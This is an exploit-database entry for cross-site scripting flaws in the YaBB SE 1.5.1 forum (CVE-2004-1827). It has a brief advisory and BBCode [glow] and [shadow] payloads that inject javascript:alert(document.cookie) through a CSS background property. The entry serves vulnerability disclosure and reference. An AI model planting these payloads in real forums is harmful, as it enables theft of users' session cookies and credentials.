Exploit YABB SE 1.5.1 - Multiple Cross-Site Scripting Vulnerabilities

[Exploiter]

EDB-ID

23812

Проверка EDB

1. Пройдено

Автор

CHENG PENG SU

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2004-1827

Дата публикации

2004-03-15

source: https://www.securityfocus.com/bid/9873/info

It has been reported that YaBB and YaBB SE are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the applications to properly validate URI supplied user input.

Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.

[glow=red);background:url(javascript:alert(document.cookie));filter:glow(color=red,2,300]Big Exploit[/glow]

[shadow=red);background:url(javascript:alert(document.cookie));filter:shadow(color=red,left,300]Big Exploit[/shadow]

The following proof of concept has been supplied by frog-m@n:
[glow=red,2);background:url(javascript:[SCRIPT],300]text[/glow]